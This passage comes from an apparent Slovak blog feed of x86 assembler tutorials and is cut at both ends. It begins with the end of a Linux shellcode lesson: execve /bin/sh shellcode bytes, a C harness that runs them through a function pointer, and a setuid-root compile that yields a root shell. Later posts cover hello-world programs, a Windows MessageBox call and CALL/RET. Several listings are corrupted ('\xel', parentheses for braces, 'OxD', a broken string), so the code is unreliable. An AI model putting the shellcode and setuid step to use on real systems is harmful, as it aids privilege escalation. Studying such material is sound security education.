&quot;\x89\xe3&quot;      //     mov         %esp,%ebx
&quot;\x50&quot;           //     push       %eax
&quot;\x53&quot;         //     push       %ebx
&quot;\x89\xel&quot;   //     mov         %esp,%ecx
&quot;\x31\xd2&quot;  //     xor         %edx,%edx
&quot;\xb0\x0b&quot;  //     mov         $0xb,%al
&quot;\xcd\x80&quot;;  //     int         $0x80, podkočiarkou (;) končí reťazec</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span> 
     <span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>fp<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">// deklarujeme ukazovateľ na funkciu, </span>
     fp <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> sc<span style="color: #339933;">,</span> <span style="color: #339933;">/</span> <span style="color: #339933;">/</span> nastavíme ho na adresu shellkódu 
     fp <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// a spustíme funkciu (alebo shellkód)</span>
<span style="color: #009900;">&#41;</span></pre></div></div>

<p>Program sa začne tým, že shellkód uloží do bufferu s menom <em>sc</em>. Ďalej vytvori ukazovateľ <em>fp</em>, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.</p>
<p>Kód si preložte a vyskúšajte:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-o</span> sc2 sc2.c 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 <span style="color: #000000; font-weight: bold;">*</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2
sh-2.05b<span style="color: #666666; font-style: italic;"># exit </span>
<span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; Linux</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-linux/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-linux/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 15:22:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=77</guid>
		<description><![CDATA[I pod operačným systémom Linux bude náš program vypisovať na obrazovku Hello, World! Pripomeňme si, že existujú špeciálne číselné identifikátory súboru STDIN STDOUT a STDERR. Náš program &#8220;Hello World&#8221; bude vypisovať tento text na obrazovku (teda zapisovať na zariadenie STDOUT) a potom skončí. Teraz si ukážeme, ako zapísať do súboru, teda na STDOUT. Ak sa [...]]]></description>
			<content:encoded><![CDATA[<p>I pod operačným systémom Linux bude náš program vypisovať na obrazovku Hello, World! Pripomeňme si, že existujú špeciálne číselné identifikátory súboru STDIN STDOUT a STDERR. Náš program &#8220;Hello World&#8221; bude vypisovať tento text na obrazovku (teda zapisovať na zariadenie STDOUT) a potom skončí.<br />
Teraz si ukážeme, ako zapísať do súboru, teda na STDOUT.<br />
Ak sa pozrieme do do súboru unistd.h, zistíme, že systémové volanie pre zápis do súboru sa volá write. </p>
<p>WRITE (2) Linux Programmer&#8217;s Manual  WRITE (2)<br />
NAME<br />
      write &#8211; write to a file descriptor<br />
Synopsis</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;unistd.h&gt;;</span>
ssize_t write <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> fd<span style="color: #339933;">,</span> <span style="color: #993333;">const</span> <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>buf<span style="color: #339933;">,</span> size_t count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Prvý zádrhel, píšeme v assembleri, ale manuálová stránka nám dáva prototyp systémového volania write v jazyku C. Ak nepoznáte jazyk C, bude sa vám prototyp čítať horšie, to však neznamená, že nebudete môcť vylúštiť, čo kam uložiť. V assembleri môžeme do registra zapísať buď priamo hodnotu alebo adresu. Myslím, že môžeme prijať zjednodušenie, že všetky parametre odovzdávame hodnotou, okrem parametrov označených hviezdičkou (to je ukazovateľ).<br />
Funkcia write vyžaduje tri parametre, podobne ako v DOSe: identifikačné číslo súboru (handle), ukazovateľ (adresa) na dala, ktoré sa majú uložiť (vidíte, je tam napísané *buf), a počet bajtov, ktoré chceme zapísať. Výstupom funkcie je počet skutočne zapísaných byte alebo chyba. Poruchový stav rozpoznáme od zapísaných bajtov tak, že vždy ide o záporné číslo.<br />
Zdrojový program preložíme překladačom NASM do objektového súboru, ktorý zostavíme zostavovacím programom ld. Získame tak spustiteľný súbor, ktorý na obrazovku vypíše Hello, World!</p>
<p>Pre preklad použijeme verziu prekladače NASM pre Linux. Objektový súbor typu elf vytvoríme prepínačom -f elf.<br />
Program Id bude potrebovať adresu prvej inštrukcie, ktorá sa bude vykonávať po zavedení programu do pamäti. V zdrojovom programe označíme miesto prvej inštrukcie špeciálnym globálnom návestím _start.<br />
Rovnako ako v OS DOS musíme program rozložiť do programových sekcií.<br />
Program Hello, World! by mohol vyzerať takto:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">SECTION <span style="color: #339933;">.</span>text 
global _start<span style="color: #666666; font-style: italic;">; aby linker vedel, kde je začiatok nášho programu, musíme definovať globálne symbol, _start </span>
_start<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span><span style="color: #666666; font-style: italic;">; prvý parameter, čislo systémového volania </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">EBX</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span><span style="color: #666666; font-style: italic;">; vieme, že konštanta STDOUT má hodnotu 1 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> hello <span style="color: #666666; font-style: italic;">; prekladač sem doplní adresu reťazca hello </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">012</span> <span style="color: #666666; font-style: italic;">; počet znakov reťazca Hello World! vrátane odradkovania</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; zavoláme jadro </span>
<span style="color: #666666; font-style: italic;">; pripojíme aj kód potrebný pre ukončenie programu </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span><span style="color: #666666; font-style: italic;">; číslo volania jadra - exit </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">EBX</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; návratový kód 0 </span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; zavoláme jadro a tak ukončíme náš proces (program) </span>
&nbsp;
SECTION <span style="color: #000000; font-weight: bold;">.data</span> 
hello <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;Hello, world!&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xa</span><span style="color: #666666; font-style: italic;">; náš reťazec vrátane nového riadku </span>
len equ $ <span style="color: #339933;">-</span> hello <span style="color: #666666; font-style: italic;">;  symbolu len bude priradená dĺžka reťazca</span></pre></div></div>

<p>Program preložíme ľahko: </p>
<p><code>nasm -f elf hello.asm</code> </p>
<p>A zostavíme linker ld. </p>
<p><code>ld -s -o hello hello.o</code> </p>
<p>Parameter -o udáva meno výsledného spustiteľného súboru. Parametrom -s chceme odstrániť všetky nepotrebné (symbolické) informácie.<br />
Výsledný program môžeme spustiť príkazom:</p>
<p><code>./ Hello<br />
Hello World!</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; Windows API</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-win-api/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-win-api/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 14:54:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=69</guid>
		<description><![CDATA[MessageBox Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess. V dokumentácii k MessageBox sa dočítame: int MessageBox &#40; IFWND hWnd, // handle of owner window LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // [...]]]></description>
			<content:encoded><![CDATA[<h3>MessageBox</h3>
<p>Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess.<br />
V dokumentácii k MessageBox sa dočítame:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> MessageBox <span style="color: #009900;">&#40;</span> 
IFWND hWnd<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// handle of owner window </span>
LPCTSTR lpText<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// address of text in message box </span>
LPCTSTR lpCaption<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// address of title of message box </span>
UINT Utype <span style="color: #666666; font-style: italic;">// style of message box </span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Prvým parametrom bude popisovač vlastného okna. Žiadny nemáme, preto predáme nulu. Druhým parametrom je ukazovateľ na text, ktorý sa v dialógovom okne zobrazí (klasický reťazec zakončený nulovým byte), tretím ukazovateľom je text titulku okna. Posledný parameter určuje typ dialógového okna (použijeme symbolickú konštantu MB_OK &#8211; z include súboru, viď  ďalej).<br />
Druhé volanie API funkcie ExitProcess, rovnako ako v DOSe, svojím jediným parametrom určuje chybový kód ukončeného programu. Po jeho zavolaní program skončí.<br />
Aby bol život programátora v assembleri jednoduchší, bol vytvorený &#8220;include súbor&#8221; win32n.inc, v ktorom sú definované všetky typy parametrov API (napr. HWND aj LPCTSTR zodpovedajú v assembleri obyčajnému dvojslovu &#8211; dword) i hodnoty symbolických konštánt. Do programu tento súbor vložíme direktívou include:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">%</span><span style="color: #000000; font-weight: bold;">include</span> <span style="color: #7f007f;">&quot;win32n.inc&quot;</span><span style="color: #666666; font-style: italic;">; vložíme súbor win32n.inc</span></pre></div></div>

<p>Použité API funkcie uložené v dynamických knižniciach nesmieme zabudnúť sprístupniť nášmu programu. Stačí použiť direktívy EXTERN a IMPORT: </p>
<p>EXTERN MessageBox ; symbol MessageBox je definovaný inde<br />
IMPORT MessageBox user32.dll ; konkrétne v user32.dll<br />
EXTERN ExitProcess ; symbol ExitProcess je definovaný inde<br />
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll</p>
<p>Zostáva vyriešil jediný problém: Ako odovzdať API funkciám jednotlivé parametre. Zoznámime sa tu len stručne s odovzdávacími konvenciiami parametrov rozhrania Win32 API.<br />
Predávaciia konvencia sa volá STDCALL. Parametre sa odovzdávajú cez zásobník sprava doľava (ako v jazyku C), vymazanie zásobníka vykonáva volaný (ako v jazyku Pascal).<br />
Na zásobník uložíme parametre inštrukciami PUSH, požadovanú funkciu zavoláme nepriamo inštrukciou CALL, o vymazanie zásobníka sa nemusíme starať. Celý program bude vyzerať nasledovne (pro prekladac NASM):</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">%</span> <span style="color: #000000; font-weight: bold;">include</span> <span style="color: #7f007f;">&quot;win32n.inc&quot;</span> <span style="color: #666666; font-style: italic;">; vložíme súbor win32n.inc </span>
<span style="color: #000000; font-weight: bold;">EXTERN</span> MessageBox <span style="color: #666666; font-style: italic;">; symbol MessageBox je definovaný inde</span>
IMPORT MessageBox user32<span style="color: #339933;">.</span>dll <span style="color: #666666; font-style: italic;">; konkrétne v user32.dll </span>
<span style="color: #000000; font-weight: bold;">EXTERN</span> ExitProcess  <span style="color: #666666; font-style: italic;">; symbol ExitProcess je definovaný inde </span>
IMPORT ExitProcess kernel32<span style="color: #339933;">.</span>dll <span style="color: #666666; font-style: italic;">; konkrétne v kernel32.dll </span>
&nbsp;
SECTION <span style="color: #000000; font-weight: bold;">CODE</span> <span style="color: #000000; font-weight: bold;">USE32</span> CLASS = <span style="color: #000000; font-weight: bold;">CODE</span> <span style="color: #666666; font-style: italic;">; začiatok kódovej sekcie </span>
<span style="color: #339933;">.</span>start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; špeciálne návestie pre linker, ktoré označuje vstupný bod programu z (entrypointu) </span>
<span style="color: #00007f; font-weight: bold;">push</span> UINT MB OK <span style="color: #666666; font-style: italic;">; na zásobník uložíme posledný parameter, dialógové okno bude mať len tlačidlo OK </span>
<span style="color: #00007f; font-weight: bold;">push</span> LPCTSTR titulok <span style="color: #666666; font-style: italic;">; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako titulok okna </span>
<span style="color: #00007f; font-weight: bold;">push</span> LPCTSTR napis <span style="color: #666666; font-style: italic;">; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako text okna </span>
<span style="color: #00007f; font-weight: bold;">push</span> HWND NULL <span style="color: #666666; font-style: italic;">; na zásobník uložíme nulu, žiadne nadradené okno nemáme </span>
<span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span>MessageBox<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; zavoláme API - vytvoríme dialógové okno návrat až po stlačení tlačidla OK</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">push</span>  UINT NULL                                     <span style="color: #666666; font-style: italic;">;vrátime  rodičovi  nulový  chybový  kód</span>
<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #009900; font-weight: bold;">&#91;</span>ExitProcess<span style="color: #009900; font-weight: bold;">&#93;</span>                                  <span style="color: #666666; font-style: italic;">;ukončíme proces</span>
&nbsp;
SECTION  <span style="color: #000000; font-weight: bold;">DATA</span>  <span style="color: #000000; font-weight: bold;">USE32</span>   CLASS=<span style="color: #000000; font-weight: bold;">DATA</span>
&nbsp;
napis  <span style="color: #000000; font-weight: bold;">db</span>   <span style="color: #7f007f;">'Hello  world'</span><span style="color: #339933;">,</span>OxD<span style="color: #339933;">,</span>OxA<span style="color: #339933;">,</span><span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">;reťazec Hello,   World! vrátane odriadkovania </span>
titulek  <span style="color: #000000; font-weight: bold;">db</span>   <span style="color: #7f007f;">'Hello&quot;, 0                                  ;titulok okna  bude  hello</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-win-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; príklady</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-priklady/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-priklady/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 14:31:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=62</guid>
		<description><![CDATA[Súčet dvoch čísel uložených premenných Sečtěte dve 32bitová čísla uložené v premenných cislo1 a číslo2, výsledok uložíme do premennej vysledok (tiež 32-bitová premenná). Riešenie príkladu musíme rozložiť do troch častí. V prvej naplníme vybrané registre požadovanými hodnotami, v druhej je sčítame, a v tretej časti zapíšeme výsledok. Výber registrov riadime veľkosťou použitých dát. mov eax, [...]]]></description>
			<content:encoded><![CDATA[<h3>Súčet dvoch čísel uložených premenných</h3>
<p>Sečtěte dve 32bitová čísla uložené v premenných cislo1 a číslo2, výsledok uložíme do premennej vysledok (tiež 32-bitová premenná).</p>
<p>Riešenie príkladu musíme rozložiť do troch častí. V prvej naplníme vybrané registre požadovanými hodnotami, v druhej je sčítame, a v tretej časti zapíšeme výsledok. Výber registrov riadime veľkosťou použitých dát.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo1<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; pamätáte si? hranaté zátvorky znamenajú prístup do pamäte </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo2<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;">; do registra EBX načítame obsah druhej &quot;premennej&quot; </span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; EAX = EAX + EBX </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span>vysledok<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; výsledok uložíme do &quot;premennej&quot; vysledok </span>
<span style="color: #339933;">...</span>
cislo1 <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">08</span><span style="color: #666666; font-style: italic;">; tu sme definovali &quot;premennú&quot; cislo1 a zároveň sme do nej vložili čislo 8 </span>
cislo2 <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">2</span><span style="color: #666666; font-style: italic;">; do premennej &quot;cislo2&quot; sme vložili čislo 2 </span>
vysledok <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">0</span><span style="color: #666666; font-style: italic;">; vysledok bude 8 + 2 = 010</span></pre></div></div>

<p>Môžeme ušetriť register EBX, ak program prepíšeme takto:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo1<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;">; nahraj hodnotu &quot;premennej&quot; cislo1 do registra EAX </span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>cislo2<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; sčítaj register EAX a &quot;premennu&quot; číslo2 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span>vysledok<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; výsledok ulož na adresu určenú symbolom vysledok</span>
&nbsp;
cislo1 <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">08</span> <span style="color: #666666; font-style: italic;">; tu sme definovali &quot;premennú&quot; cislo1 a zároveň sme do nej vložili číslo 8</span>
cislo2 <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">2</span>  <span style="color: #666666; font-style: italic;">; do premennej &quot;cislo2&quot; sme vložili číslo 2</span>
vysledok <span style="color: #000000; font-weight: bold;">dd</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; výsledok bude 8 + 2 = 010</span></pre></div></div>

<h3>Určenie či je číslo párne alebo nepárne</h3>
<p>Príklad: Určite, či je v registri AX uložené číslo párne alebo nepárne!<br />
Každé nepárne číslo má najnižší bit nastavený na 1. Inštrukciou SHR môžeme tento bit presunúť do príznaku prenosu CF (carry) a vykonať podmienený skok podľa príznaku prenosu inštrukciou JC.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ax</span><span style="color: #666666; font-style: italic;">; nechceme stratiť hodnotu v registri AX, uložíme ju na zásobník </span>
<span style="color: #00007f; font-weight: bold;">shr</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>    <span style="color: #666666; font-style: italic;">; najnižší bit sa presunul do príznaku CF </span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">ax</span>      <span style="color: #666666; font-style: italic;">; do registra AX vrátime pôvodnú hodnotu, register príznakov inštrukcie POP nemení. </span>
<span style="color: #00007f; font-weight: bold;">jc</span> neparne <span style="color: #666666; font-style: italic;">; ak jepríznak nastavený, číslo je nepárne </span>
sude<span style="color: #339933;">:</span>      <span style="color: #666666; font-style: italic;">; tu môže nasledovať nejaká akcia, ak je párne </span>
neparne<span style="color: #339933;">:</span>  <span style="color: #666666; font-style: italic;">; tu bude program pokračovať, ak je v AX číslo nepárne.</span></pre></div></div>

<p>Ako už býva zvykom, program môžeme zapísať aj oveľa jednoduchšie:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">test</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span> <span style="color: #666666; font-style: italic;">; najnižší bit bitovej masky bude jedna, vykonáme inštrukciu TEST </span>
<span style="color: #00007f; font-weight: bold;">jz</span> je_parne <span style="color: #666666; font-style: italic;">; príznak nuly ZF (zero flag) bude nastavený, ak bude najnižší bit nula, číslo bude párne </span>
neparne<span style="color: #339933;">:</span> 
<span style="color: #339933;">....</span>
je_parne<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; program bude pokračovať tu, ak bude číslo v AX párne.</span></pre></div></div>

<p>Všimnime si, že sme testovali len register AL, nie celý AX. Vyššie bity registra AX sú pre nás nezaujímavé, a preto sme mohli testovať len register AL.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-priklady/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; Inštrukcie CALL a RET</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-instrukcie-call-a-ret/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-instrukcie-call-a-ret/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 14:23:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=60</guid>
		<description><![CDATA[Syntax: CALL typ_volania operandy RET Inštrukcie CALL a RET používame na implementáciu podprogramov. Inštrukcia CALL má jeden, zvyčajne priamy operand (ako u inštrukcii skoku sa pripúšťa operand v registri alebo v pamäti), ktorým je adresa miesta v pamäti, kam sa odovzdá riadenie. Na rozdiel od inštrukcie JMP sa do zásobníka uloží hodnota registra IP (EIP) [...]]]></description>
			<content:encoded><![CDATA[<p>Syntax:<br />
<em>CALL typ_volania operandy<br />
RET </em></p>
<p>Inštrukcie CALL a RET používame na implementáciu podprogramov. Inštrukcia CALL má jeden, zvyčajne priamy operand (ako u inštrukcii skoku sa pripúšťa operand v registri alebo v pamäti), ktorým je adresa miesta v pamäti, kam sa odovzdá riadenie. Na rozdiel od inštrukcie JMP sa do zásobníka uloží hodnota registra IP (EIP) nasledujúcej inštrukcie po inštrukcii CALL.<br />
Parameter typ volania je podobný ako u inštrukcie JMP, ak nie je uvedený, bude sa predpokladať typ volania near, a preto sa bude ukladať a meniť iba register IP (EIP). Pri typu volania far sa na zásobník okrem registra IP (EIP) uloží aj hodnota segmentového registra CS (adresa volania sa lak bude pozostávať z hodnoty pre register IP (EIP) a hodnoty pre register CS).<br />
Návrat z podprogramu zabezpečuje inštrukcia RET, ktorá zo zásobníka vyberie hodnotu z vrcholu a tu uloží do registra IP (EIP), čím sa začnú vykonávať inštrukcie uložené za volajúcou inštrukciou CALL. Pre návrat z podprogramu, ktorý bol privolaný inštrukciou CALL far musíme obnoviť aj pôvodnú hodnotu registra CS, čo môžeme zabezpečiť použitím inštrukcie RETF, ktorá zo zásobníka najprv vyberie hodnotu a uloží ju do registra IP, a potom vyberie ešte jednu, ktorú uloží do registra CS.<br />
Situáciu môžeme ešte trochu skomplikovať.<br />
Inštrukcie RET alebo RETF môžu mať ako priamy operand počet položiek, ktoré sa majú zo zásobníka vybrať po naplnení registra IP (EIP) (alebo aj SK). Tento špeciálny tvar inštrukcie RET využijeme až neskôr, kde si povieme o možnostiach prepojenia vyšších programovacích jazykov a assembleru. </p>
<p>Ukážme si použitie inštrukcií CALL a RET na príklade:<br />
Pomocou podprogramu sčítame dve čísla uložené v registroch EAX a EBX, výsledok súčtu uložíme v registri ECX (ignoruje pretečenie). Hodnoty uložené v registroch EAX a EBX musia byť zachované aj po návrate z podprogramu.<br />
Vytvoríme podprogram sčítaj. Najskôr musíme vyriešiť odovzdávanie parametrov podprogramu. Vo vyšších programovacích jazykoch sa pre odovzdanie parametra používa zásobník, my si zatiaľ vystačíme s dohodnutými registrami. Akonáhle vykonáme inštrukciu pre sčítanie ADD, bude jedna hodnota operanda prepísaná výsledkom. Využijeme zásobník a hodnotu uloženú v danom registri si uložíme a neskôr opäť obnovíme.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">scitaj<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; uložíme hodnotu registra EAX na zásobník </span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">EBX</span><span style="color: #666666; font-style: italic;">; sčítame EAX a EBX, výsledok bude v EAX </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; výsledok z EAX uložíme do ECX </span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; obnovíme pôvodnú hodnotu v registri EAX </span>
<span style="color: #00007f; font-weight: bold;">ret</span> <span style="color: #666666; font-style: italic;">; návrat z podprogramu.</span></pre></div></div>

<p>Podprogram <em>scitaj</em> vyskúšame s hodnotami 4 a 8.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span><span style="color: #666666; font-style: italic;">; do EAX uložíme 4 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">EBX</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span><span style="color: #666666; font-style: italic;">; EBX = 8 </span>
<span style="color: #00007f; font-weight: bold;">call</span> scitaj <span style="color: #666666; font-style: italic;">; zavoláme podprogram scitaj </span>
<span style="color: #666666; font-style: italic;">;Výsledok bude uložený v registri ECX a bude JIRRA. </span>
<span style="color: #666666; font-style: italic;">; hodnota ECX = OxOOOOOOOC</span></pre></div></div>

<p>Čo by sa stalo keby sme vynechali inštrukciu POP eax? Inštrukcia RET by tak predala riadenie na adresu, ktorá bola pôvodne uložená v registri EAX, čo by viedlo k pádu programu a v horšom prípade pádu systému. Podobne opomenutie inštrukcie RET by viedlo k vykonávanie inštrukcií dávno nepatria nášmu podprogramu, čo tiež ľahko (a celkom určite) vedie k pádu programu (to sa veľmi často využíva crackarmi a hackermi).<br />
Podprogram scitaj možno v našom jednoduchom prípade zjednodušiť tak, že sa zaobídeme bez inštrukcií PUSH a POP:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">scitaj<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; hodnotu registra EAX (prvý parameter) prekopírujete do registra ECX </span>
